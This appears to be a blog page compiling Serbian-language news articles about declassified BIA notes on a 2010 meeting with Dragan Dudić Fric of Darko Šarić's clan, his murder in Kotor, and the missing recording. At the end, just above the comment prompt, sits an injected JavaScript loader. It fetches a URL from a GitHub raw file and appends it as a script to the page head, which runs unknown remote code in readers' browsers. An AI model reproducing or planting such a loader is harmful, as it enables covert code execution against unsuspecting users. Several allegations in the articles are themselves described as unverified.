http://wp.me/p3pD8b-ec
○
.
Линк
ОБЈЕЛОДАЊЕНЕ СЛУЖБЕНЕ ЗАБИЉЕШКЕ БИА О ТАЈНОМ СВЈЕДОЧЕЊУ ДРАГАНА ДУДИЋА ФРИЦА
.
○
Брано договорио Шарићеву предају, Мило други у клану
. . .
Шеф криминалистичке полиције Родољуб Миловић тврди да је Брано Мићуновић тражио чврсте гаранције да ће договор о предаји Шарића бити поштован и запријетио да ће у супротном извршити атентат на Милорада Вељовића, директора полиције Србије У извјештају БИА се наводи да је ЦД са снимком састанка и снимљеног исказа Драгана Дудића нестао и да је продат за милион еура у Црној Гори
Милорад Вељовић – Дир. полиције
Контроверзни бизнисмен Бранислав Брано Мићуновић договарао се са челним човјеком криминалистичке полиције Србије Родољубом Миловићем о предаји Дарка Шарића, док је био у бјекству, наводи се у повјерљивим документима Безбједносно-информативне агенције, са којих је скинута ознака тајности. У документима је дат и исказ припадника Шарићевог клана Драгана Дудића, званог Фриц, који је пристао да буде заштићени свједок у том процесу. Дудић је у разговору са службеницима тајне службе Србије и тамошњег тужилаштва указао на „пирамиду носилаца криминалних активности у државном врху Црне Горе, нагласивши да је Мило Ђукановић у тој хијерархији на другом мје¬сту, док се Дар¬ко Шарић нaлази на неколико позиција иза актуленог премијера“. Мјесец дана након разговора са представницима БИА Србије, Дудић је убијен у Котору.
У документима БИА налази се и службена биљешка о видео и аудио документовању контакта безбједносно интересантне особе чије се име не наводи, док су имена представника Агенције затамњена црним маркером. У извјештају пише и да је Драган Дудић Фриц, бизнисмен из Котора, један од најповјерљивијих људи Дарка Шарића и да је убијен 30. маја 2010. године у ресторану „Мока”, то јест мјесец и по послије састанка на Јеловој гори, гдје се срео са службеницима тајне полиције.
Родољуб Миловић – начелник УКП МУП Р.С.
– Током априла 2010. године тадашњи припадници Пете управе БИА (сада је то Осма управа), моторним возилом из правца Црне Горе на територију Србиjе, пребацили су Драгана Дудића Фрица и довезли га у просторије на Јеловој гори, гдје су са њим разговор обавили представници тужилаштва и тајне полиције, а њима је руководио представник БИА Ивица Петровић. Дудић је на основу непровјерених индиција пристао да посредством надлежних истражних инстанци Србије постане заштићени свједок у судском поступку који се води против организоване криминалне групе Дарка Шарића. На састанку је Дудић наводно указао на пирамиду носилаца криминалних активности у Црној Гори, нагласивши да је Мило Ђукановић у тој хијерархији на другом мјесту, док се Дарко Шарић налази на неколико позиција иза актуелног предсједника Црне Горе – наводи се у документу БИА.
Аудио и видео контролу наведеног контакта из сусједне просторије вршили су представник БИА, сада покојни Жељко Рашета и Родољуб Миловић, тадашњи начелник Управе криминалистичке полиције.
Мјесец дана након тог састанка на Јеловој гори, Драган Дудић је убијен у центру Котора, а за убиство је осуђен Иван Врачар.
Према непровјереним сазнањима, како се наводи у документима БИА, ликвидација Дудића била је добро осмишљена тако да је због наводно „ласцивних погледа према дјевојци Н.Н. убице, исти из ватреног оружја лишио живота именованог”. У документу пише и да је у тренутку ликвидације Дудић био у друштву супруге, те да је између осталог и због изнијетог, разлог за наводни оружани напад у најмању руку нелогичан.
У извјештају БИА се наводи да је ЦД са снимком састанка нестао и да је наводно продат за милион еура у Црној Гори.
Оптужени Шарић (л) – убијени Дудић (д.)
Суду је, у склопу извјештаја, достављена и службена биљешка о саслушању припадника Осме управе БИА, чије је име затамњено. Тај припадник је навео да је од њега потекла иницијатива за разговор са Дудићем и да је у првој половини 2010. године о могућности тог разговора обавијестио тадашњег директора Сашу Вукадиновића. Затим је добио усмени налог од Петровића да омогући безбједан трансфер Дудића до Јелове горе и да разговара са Милорадом Вељовићем, директором полиције који га је повезао са припадником МУП-а Србије како би омогућио безбједан прелазак са територије Црне Горе алтернативним путем. По доласку на Јелову гору, Дудић је, према наводима из биљешке, претресен и смјештен у апартман, а послије састанка враћен је на исти начин.
Припадник БИА је у свом извјештају навео да процјењује да је Дудић убијен због разговора са српским истражним и правосудним органима и да је неко од особа које су биле укључене у састанак на Јеловој гори пренио садржину разговора, за шта је добио адекватну финансијску надокнаду.
У извјештају се наводи изјава Ивице Петровића који тврди да су информације о потенцијалном разговору са Дудићем потекле од Милорада Вељовића који је дао сигнал и гарантовао дискреци¬ју.
Наводи се да састанак са Дудићем није испунио очекивања и да је он избјегао да било шта каже како о разлозима због којих је тражио разговор, тако и о другим особама из Шарићевог клана.
Родољуб Миловић је, како је наведено у службеној биљешци, казао да је Дудић 2009. године посредством Миловићевог рођака у Црној Гори покушао да са њим разговара, али да то није успјело, јер је Вељовић обавијестио Миловића да ће се сусрет обавити уз асистенцију припадника БИА и тужилаштва. Посредник у састанку била је извјесна жена чији идентитет Миловић није желио да изнесе као ни природу њеног односа са Дудићем. Миловић је другачије од својих колега из БИА говорио о садржини Дудићевог исказа, тврдећи да је он на Јеловој гори до детаља објаснио функционисање клана Шарић, као и организацију набавке и препродаје дроге. Миловић је навео да се Дудић интересовао за свој статус и евентуалне погодности, али да од тужиоца Саше Иванића није добио никакве гаранције. Миловић је истакао да му није познато гдје се налазе снимци разговора, али да је сазнао да је Дејан Јовановић Кека уз помоћ неке особе из Министарства правде дошао до диска и предао га кла¬ну Шарић, због чега је Дудић касније убијен.
Према наводима извјештаја, Родољуб Миловић је рекао да је својевремено организовао састанак са Браниславом Браном Мићуновићем са којим је разговарао о условима Шарићеве предаје. Мићуновић је тада тражио да српско правосуђе изађе са конкретним предлогом о висини затворске казне на коју би Шарић био осуђен уколико би се добровољно предао. Миловић је казао да је Мићуновић тражио чврсте гаранције да ће договор бити поштован и запријетио да ће у супротном извршити атентат на Милорада Вељовића, директора полиције Србије. Послије тога, Миловић се, како се даље наводи у извештају а чији је дио објавио Курир, састао са тужиоцем Миљком Радисављевићем како би разговарали о условима Шарићеве предаје, али тужилац није био заинтересован да достави гаранције и услове о предаји Шарића. Миловић је истакао да више није успостављао контакте са Мићуновићем будући да није имао шта да му понуди.
Которанин Иван Врачар је 30. маја 2010. у Кото¬у убио Дудића и притом, како се наводи у оптужници, с умишљајем довео у опасност живот Жељка Бојанића.
– Између 12 и 13 часова, из правца терасе кафе-бара „Форца” у Старом граду у Котору, Врачар је неопажено с леђа пришао Дудићу, који је сједио на тераси сусједног кафе-бара „Мока”, наоружан пиштољима марке ЦЗ 99 и „смит весон”. Затим је извадио иза појаса пиштољ ЦЗ, репетирао га и испалио више хитаца према Дудићу, од којих су га два погодила. У том нападу је ранио Бојанића у десну поткољеницу. Затим је побје¬гао кроз главну капи¬у Старог града у правцу риве – наводи се у оптужници.
Дудић је због повреда преминуо истог дана око 22 часа. О њеовом убиству постојало је више верзија које нијесу потврђене у истражном поступку. Према једној, у убиство Драгана Дудића био је умијешан Шарићев клан, чији је интерес био да уклони Дудића као неyгодног свједока. Полиција је истраживала и да ли је ријеч о освети јер су неколико мјесеци прије ликвидације Дудића у Котору убијена два Врачарова пријатеља.
Д. Ж.
Провјераване Фрицове фирме
Специјално тужилаштво Србије раније је од колега из Црне Горе затражило провјеру пословања которских предузећа „Треком” и „Бастион комерц” како би се утврдило да ли је преко ових фирми Дарко Шарић евентуално прао новац зарађен од шверца наркотика. Радило се о фирмама у којима се као оснивач и овлашћено лице појављивао Драган Дудић. Тужилаштво је раније тражило и провјере предузећа „Лука Рисан бастион”, јер се сумња да га је купио управо Шарић, али преко својих пословних сарадника.
Спорни милиони
На једном од рочишта Дарко Шарић је оптужио Родољуба Миловића да је узео седам милиона еура, које му је исплатио Драган Дудић. Полицијски функционер је то енергично демантовао, а тужилаштво сумња да је Дудић тај новац исплатио како не би био процесуиран и како би истовремено избјегао да буде заштићени свједок.
Извјештај БИА стигао у суд
Адвокат Радослав Баћовић рекао је да је у суд пристигао извештај БИА о састанку на Јеловој гори са покојним Драганом Дудићем Фрицом 18. априла 2010. године на којем су присуствовали припадници МУП-а, БИА и специјалног тужилаштва.
– Сви актери су саслушани – Јадранко Петковић, Ивица Петровић и Родољуб Миловић – и сви су различито говорили о садржају разговора. Једини није саслушан Саша Иванић, који је према Петковићевој изјави водио главну ријеч и каналисао ток разговора са Дудићем. Сматрамо да је то зато што је Дудић афирмативно говорио о Шарићу. Разговор је обављен мимо закона, без икаквог писаног трага и службене биљешке у договору са Миљком Радисављевићем. Загорка Доловац знала је а није ништа предузела да спријечи ове незаконитости чак ни када је извјештај БИА стигао у суд и када је са њега скинута ознака тајности, навео је Баћовић.
Дудића пратила италијанска полиција
Међу особама које је због шверца кокаина тада пратила италијанска полиција био је и Драган Дудић. На ексклузивним снимцима које је тада објавило италијанско тужилаштво поводом реализације акције „Лоптице”, Дудић је снимљен у два наврата. Снимци датирају из 2008. и 2009. године, а на њима се Дудић види у друштву млађег мушкарца, којем нешто објашњава, док је у другом кадру у групи од неколико људи за које се претпоставља да су дио организоване групе. Прво сазнање италијанских инспектора о миланским операцијама балкансог клана Дарка Шарића датира из октобра 2008. Тада је Црногорац познат по надимку Микица фотографисан како на скутеру вози и предаје пошиљку од 50 килограма дроге надомак улице Гали. Сквадра мобиле, италијанска специјална јединица, отада је почела интензивно да прати сараднике Дарка Шарића. Италијански медији наводе да Сквадра има на десетине фотографија скутера којима се развозила дрога у вриједности од неколико милиона еура, 36 аутомобила и комбија, као и десет станова. У Италији је издат налог за хапшење 105 особа, од којих су 23 српски држављани. Међу њима је и Дарко Шарић. Тамошње власти потражују и 21 особу из Црне Горе, а први на тој листи је Горан Соковић. Вође међународне криминалне мреже дјеловале су из Србије и Словеније, као и, како је истрага утврдила, преко ћелија у Италији, у другим европским земљама и неким државама Јужне Америке, и између 2007. и 2009. године подстицали су набавку и продају великих количина кокаина. Акција је спроведена по налогу италијанске Дирекције за борбу против мафије, која је дала налог за хапшење 108 осумњичених за набавку и дистрибуцију наркотика за италијанско тржиште.
. . .
линк.
Нови детаљи о диску несталом у БИА
Потврђено писање нашег листа о томе како је БИА „изгубила” диск на коме је снимак састанка српских тужилаца и полицајаца са Драганом Дудићем Фрицом, који је убијен 42 дана након сусрета на Јеловој гори
Радна група БИА покушава да утврди где је нестали диск (Фото Д. Јевремовић)
Премијер Александар Вучић потврдио је јуче писање „Политике” да је нестао диск са састанка са Драганом Дудићем Фрицом, убијеним сарадником Дарка Шарића, у објекту посебне намене на Јеловој гори 18. априла 2010.
. . .
Дискови су нестали 2011, за време претходне владе, не знам зашто мене питате о томе – рекао је Вучић.
Премијер је казао да се зна ко су били учесници састанка. Дудић је, подсетимо, убијен 42 дана после тог састанка у центру Котора, а у црногорским медијима се појавила информација да је диск продат у овој земљи за милион евра. Због тога је вођена истрага Радне групе за лоцирање Шарића.
. . .
Радна група БИА испитује како и где је нестали диск – Фото: Д. Јевремовић
○
Премијер Александар Вучић потврдио је јуче писање „Политике” да је нестао диск са састанка са Драганом Дудићем Фрицом, убијеним сарадником Дарка Шарића, у објекту посебне намене на Јеловој гори 18. априла 2010.
– Дискови су нестали 2011, за време претходне владе, не знам зашто мене питате о томе – рекао је Вучић.
Премијер је казао да се зна ко су били учесници састанка. Дудић је, подсетимо, убијен 42 дана после тог састанка у центру Котора, а у црногорским медијима се појавила информација да је диск продат у овој земљи за милион евра. Због тога је вођена истрага Радне групе за лоцирање Шарића.
„Политика” сазнаје да су, поред Родољуба Миловића, бившег начелника Управе криминалистичке полиције, и Саше Иванића, заменика специјалног тужилаштва, састанку присуствовале још три особе: Славиша Совтић, начелник Службе за борбу против организованог криминала, Јадранко Петковић, тада специјални саветник директора Безбедносно-информативне агенције (БИА), и Жељко Рашета, бивши заменик начелника Оперативе БИА, који је у међувремену преминуо.
– У централном апартману у којем се разговарало са Дудићем били су Јадранко Петковић, Славиша Совтић и Саша Иванић. У суседном апартману били су Родољуб Миловић и Жељко Рашета и они су пратили директан пренос састанка са Дудићем – откривају извори „Политике”.
Припадници БИА који су се сусрели са Драганом Дудићем Фрицом, касније убијеним блиским сарадником Дарка Шарића, уопште нису имали потребно одобрење за састанак на Јеловој гори, сазнаје „Политика”. Наиме, члан 8 Правилника о раду БИА прописује да сваки припадник агенције мора да има писмено одобрење директора за било какав контакт са страним држављанима. Будући да је Дудић држављанин Црне Горе, одобрење припадницима БИА морао је да потпише тадашњи директор Саша Вукадиновић. Међутим, у време одржавања овог састанка, 18. априла 2010. године, Вукадиновић се налазио у Сједињеним Америчким Државама заједно са начелником једне од управа ове агенције. Папир са одобрењем за састанак са Дудићем не постоји.
Ово је утврдила интерна истрага Радне групе која је трагала за Дарком Шарићем и на крају га лоцирала у једној латиноамеричкој земљи. Истрага је покренута након што се у црногорској штампи појавио податак да је диск са снимком састанка тужиоца, полицајаца и оперативаца БИА са Дудићем продат у овој земљи за милион евра. Током истраге је утврђено да су дискови са тонским, фоно и видео записом састанка нестали. Извор „Политике” тврди да је диск на столу држао Ивица Петровић, бивши начелник Оперативе БИА, и да је после тога нестао. Остао је реверс из ког се види да су њему предата три диска, од којих су два ДВД, а један ЦД са записом са састанка, а изјаве су дали и припадници агенције који су потврдили да су му предали материјал.
Шта је тачно Дудић причао, још је нејасно, јер су сами учесници састанка дали различите и контрадикторне изјаве. По једнима, није причао ништа интересантно, већ је покушавао да сазна ко су људи који воде процес против Шарићеве групе, док су други изјављивали да је Дудић детаљно разоткрио шему организације шверца кокаина из Јужне Америке у Европу. Дудић је убијен 42 дана после састанка у центру Котора. Убица је ухапшен и осуђен.
Током истраге радне групе узете су изјаве од свих учесника састанка. Извори „Политике” тврде да је посебно интересантно било сведочење Ивице Петровића, код кога је снимак састанка последњи пут био. Разговор са Петровићем обављен је 27. јуна прошле године. Саговорници „Политике” описују да је Петровић том приликом износио податке општег карактера, правдајући заборав временском дистанцом.
На том разговору, преносе наши извори, Петровић је причао да се не сећа у каквој форми је добио налог од директора Вукадиновићаи да се не сећа ко је све присуствовао састанку: са стране МУП су били Родољуб Миловић или Славиша Совтић, а са стране тужилаштва Саша Иванић или Миљко Радисављевић. Наши извори тврде и да Петровић током разговора није могао децидно да потврди да ли је имао увид у фоно и видео запис или му је неко ток разговора препричао.
– На крају разговора, Петровић је нагласио да је приликом сређивања своје документације исте уништио, то јест да не постоји могућност да је ДВД и ЦД неком уступио. Иначе се уништавање документације или важних доказа не ради на тај начин – каже један од саговорника нашег листа.
С друге стране, наше изворе брину информације до којих је дошла Радна група за лоцирање Шарића, а које се тичу могућег састанка неколико високих полицијских функционера са људима тада одбеглог Пљевљака. Још непотврђене информације говоре да су високи полицијски функционери понудили да се Шарић преда, а да заузврат припадници МУП-а пребаце одговорност на Родољуба Радуловића, званог Миша Банана, и Драгана Дудића Фрица да су они вође криминалног клана.
– То су узнемирујуће информације које ће морати да се провере како би се с сигурношћу утврдило да ли су тачне или не – каже један од саговорника нашег листа.
Члановима радне групе индикативно је то да су се у медијима својевремено заиста појавиле информације да су Дудић и Радуловић били шефови Шарићу, а да је Милорад Вељовић, директор полиције, једном приликом изјавио да Шарић није вођа мафије. Било је то 2012. године.
– Да ли је реч о коинциденцији, можда погрешним информацијама које су неки достављали Вељовићу и медијима или свесној намери појединаца, требало би да се разјасни на крају. У сваком случају је утврђено да Шарић није био војник Радуловића, нити Дудића, а то је и сам Пљевљак рекао приликом трансфера у Србију – каже саговорник „Политике”.
Душан Телесковић
објављено: 21.06.2014
. . .
.
○
Шта се збило на Јеловој Гори
Један догађај наизглед ширег значаја – састанак Шарићевог сарадника Драгана Дудића са српским истражним органима на Јеловој Гори – поново се користи како би се покретале афере у јавности и одуговлачило суђење Шарићу. Главни актер састанка, Дудић, не може ништа да каже јер је убијен 2010. године, док Шарићеви адвокати, обавештајци и полицајци, поново подгревају теорије завере да су се са Дудићем правили непримерени дилови на састанку, који су га вероватно коштали живота
Пише: Стеван Дојчиновић
. . .
Прошлог четвртка прес сала Специјалног суда била је пуна новинара који су чекали да чују одбрану Дарка Шарића на процесу за шверц кокаина. Након вишемесечног штрајка адвоката суђења су поново оживела и један од највише очекиваних догађаја било је обраћање оптуженог нарко-боса. Уместо тога, Шарићева одбрана успела је да одложи суђење за око месец дана. Радослав Баћовић, Шарићев адвокат, затражио је изузеће тужиоца Саше Иванића, специјалног тужиоца Миљка Радисављевића и јавног тужиоца Загорке Доловац, због наводне „необјективности“ према Шарићу, позивајући се на један догађај који је прошле године био извориште скандала. У питању је састанак Шарићевог сарадника Драгана Дудића Фрица са истражним органима Србије априла 2010. године на Јеловој Гори, планини у близини Ужица. Дудић је месец дана након састанка убијен, убиство је решено, али је ипак овај догађај у медијима био мистификован, а Шарић је из суднице покретао афере у којима су нападани људи који су учествовали у истрагама нарко-картела и довеле су до смене шефа криминалистичке полиције. Сада је тужилац на реду.
Адвокат Баћовић се овога пута позвао на документацију БИА, састављену 2013. о том случају, која је достављена Вишем суду и која би, наводно, требало да прикаже непрофесионалност тужиоца. Папири су касније подељени и новинарима – тако су доспели и у руке аутора овог текста. Документа у једном делу подупиру у медијима ижвакану теорију завере да је Дудић на тајном састанку склапао дилове који су га коштали главе. Међутим, такви наводи се базирају на, како у документацији стоји, „непровереним“ сазнањима и „непотврђеним индицијама“. На неким папирима недостају заглавља, деловодни бројеви, потписи, не зна се ко их је тачно саставио. Многа имена су затамњена, док су поједина остављена да се виде. У неким документима стоје чак и нетачне информације, попут оних у вези са убиством Дудића, а које су агенти лако могли да провере, те је нејасан такав аматеризам.
Балкански ратник
Познате чињенице о догађају на Јеловој Гори су следеће: Дудић је био тај који је, преко посредника, затражио да се види са представницима српских истражних органа. У то време, априла 2010. године, међународна акција „Балкански ратник“ навелико траје и припадници нарко-картела се хапсе широм света.
Radoslav Baćović, advokat Darka Šarića
Дарко Шарић је био у бекству и на потерници као један од шефова те организације, док се Дудић, од јануара 2010. године налазио под истрагом Специјалног тужилаштва, али тада није било довољно доказа да буде оптужен. Дудићев посредник, чије име за сада није познато, контактирао је директора полиције Милорада Вељовића, а он је о томе обавестио припаднике обавештајне агенције БИА. Битно је рећи да је БИА водила истрагу Шарићевог картела. Иако је у старту и полиција радила у тиму разоткривања међународних шверцера дроге, полицајци су током 2009. године избачени из екипе јер се сумњало да су од њих „цуриле“ информације што је картелу помогло да избегне заплене дроге и хапшења. Зато су полицајци скрајнути, а тужилаштво и обавештајци су изнели главни део операције „Балкански ратник“.
Директор БИА Саша Вукадиновић био је на службеном путу у Америци, па је овластио свог најближег сарадника Ивицу Петровића, заменика шефа БИА, да руководи састанком са те стране. Он је на састанак послао раднике БИА Жељка Рашету и ЈадранкаПетковића. О свему је обавештен и тужилац Саша Иванић, без кога не би могла да се донесе било каква битна одлука и који је такође дошао на састанак. Позвана су и два припадника полиције, начелник криминалистике Родољуб Миловић и његов сарадник Славиша Совтић, пре свега јер је контакт и био остварен преко њиховог директора Вељовића.
Састанак се догодио 18. априла 2010. године, шест дана након што је подигнута оптужница против Шарића и његових најближих сарадника. До данас у јавности није објављен аутентични запис у коме је описана садржина састанка. Како је аутору овог текста, током рада на књизи „Шарић“, описало неколико извора упознатих са садржином истог, Дудић се није показао као неко ко би могао да буде потенцијални сведок против Шарића, што је у том тренутку било најбитније. Распитивао се шта ће бити с њим и нудио је информације о другој групи која је шверцовала наркотике преко Шпаније, али тужилац није био заинтересован да тада иде у том смеру. Састанак је завршен и од стране већине учесника оцењен као бескористан. Ту негде прича је требало да се заврши.
Смрт у Котору
Међутим, оно што се догодило месец дана касније направило је ноћну мору. Док је Дудић седео с телохранитељима у кафићу у Котору, пришао му је таксиста Иван Врачар и упуцао га. Дудићеви телохранитељи су ухватили таксисту на лицу места, претукли га и предали 
полицији. Врачар је признао злочин и објаснио да је Дудића убио због претњи које је добијао од њега као и због тога што је мислио да му је Дудић убио пријатеља, власника једног такси удружења. Осуђен је на 17 година и три месеца затвора.
Иако је догађај убрзо заборављен, он је нагло, средином прошле године, помпезно оживео у домаћим медијима и изјавама у судници. Дудићево убиство, иако решено, биће основа за теорије да је он заправо убијен због састанка на Јеловој Гори. Шарић је изнео тврдњу да је Дудић некоме са састанка дао новац и оптужио Родољуба Миловића да је корумпирани полицајац, што је довело до његове смене. Адвокат Баћовић је тада постављао питање зашто су нестали ЦД и ДВД из архиве БИА на којима је снимљен састанак с Дудићем. Тада је формирана и специјална група у МУП-у да испита случај и која је саслушала део учесника састанка.
Штрајком адвоката се догађај стишао, а сада се опет вратио на велика врата. Документа на која се Баћовић позвао нису помогла да се више сазна о самом састанку, већ су унела конфузију. Тако се у белешци БИА од 19. 6. 2013. године тврди да је Дудића убио непознати починилац док се налазио у друштву супруге, иако је убиство већ 2010. године било решено и сви детаљи су познати, поред осталог ко је убица и да је Дудић тог тренутка био у друштву телохранитеља. У истом документу, у којем нису наведени јасни извори, тврди се да је „Дудић на основу непроверених сазнања пристао да буде заштићени сведок против Шарића“, као и да је „наводно указао на ‘пирамиду’ носилаца криминалних активности у државном врху Црне Горе, нагласивши да је Мило Ђукановић у тој хијерархији на другом месту, док се Дарко Шарић налази неколико позиција иза актуелног председника Црне Горе“. Каже се и да су ЦД и ДВД на којима је снимљен разговор с Дудићем нестали и како је „наводно“ поменути запис продат у Црној Гори за милион евра.
Пипање ситуације
Суду и новинарима су достављене и три службене белешке у којима се концизно сумирају искази које су дали учесници састанка: припадници БИА Петровић и Петковић и полицајац Миловић – такође без потписа и заглавља, те се не види јасно ни коме су их дали. Комплетни искази нису достављени. Према овим белешкама, Петровић је рекао да је састанак с Дудићем био „испод његовог очекивања и без битнијих детаља у вези са безбедоносно-интересантном активношћу „клана Шарић“. У белешци пише да се, према Петровићу, цео исказ Дудића своди на његов покушај да „опипа ситуацију“, да аболира своју улогу, те да је можда чак био послат од самог Дарка Шарића. Што се тиче дискова на којима је био снимљен састанак, Петровић је рекао да их је уништио када је сређивао своју документацију и да их никоме није уступио, као и да убиство Дудића нема везе са самим састанком. Петровић се понудио да оде и на полиграф.
Јадранко Петковић је, према белешци, испричао исто. „Контакт с Дудићем није испунио очекивања, с обзиром на то да је већ у иницијалној фази разговора са Дудићем схватио да именовани није дошао како би нешто понудио и евентуално добио за узврат“, већ да је направио контакт како би видео где истраге иду. Дудић је избегавао да било шта конкретно каже, како о себи тако и о другим лицима у оквиру Шарићеве групе.
Полицајчева прича: Белешка о изјави коју је дао полицајац Миловић има другачији закључак од претходне две, а Миловић је, типично полицијски, испричао неколико непроверених прича које је чуо од својих извора.
Управо Миловићеву изјаву је и Шарићев адвокат Баћовић искористио да нападне тужиоца, искористивши неслагање у исказима. По Миловићу, Дудић је био користан саговорник који је „до детаља објаснио систем функционисања који се тиче хијерархије унутар ‘клана Шарић’, као и организације набавке, пребацивање и дистрибуције наркотика“.
Међутим, сам Миловић каже да тужилац Иванић није преговарао са Дудићем о његовом статусу. У белешци пише да је Миловић изнео и једну, готово филмску причу, за коју је и сам рекао да је „непотврђена“: да је познати криминалац Дејан Јовановић Кека (грешка у документу, његово презиме је „Стојановић“) дошао у посед диска преко своје везе у Министарству правде, а онда доставио „клану Шарић“. По Миловићевој претпоставци, то је разлог зашто је Дудић убијен. Иако је прича непотврђена, вероватно је она била основ за теорију завере.
Шарић је, иначе, предају испреговарао са политичарима, односно Министарством правде, након чега се у марту 2014. године појавио у Србији. Још нису све околности око његове предаје познате. Тужилац Иванић је у кратком обраћању затражио да се документација БИА о Јеловој Гори избаци из списа јер је, како каже, „незаконита и неверодостојна“ и да је циљ свега да се одуговлачи судски поступак. Међутим, о захтеву адвоката ће се изјаснити Државно веће тужиоца.
Текст објављен у недељнику Време
(var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)
Постави коментар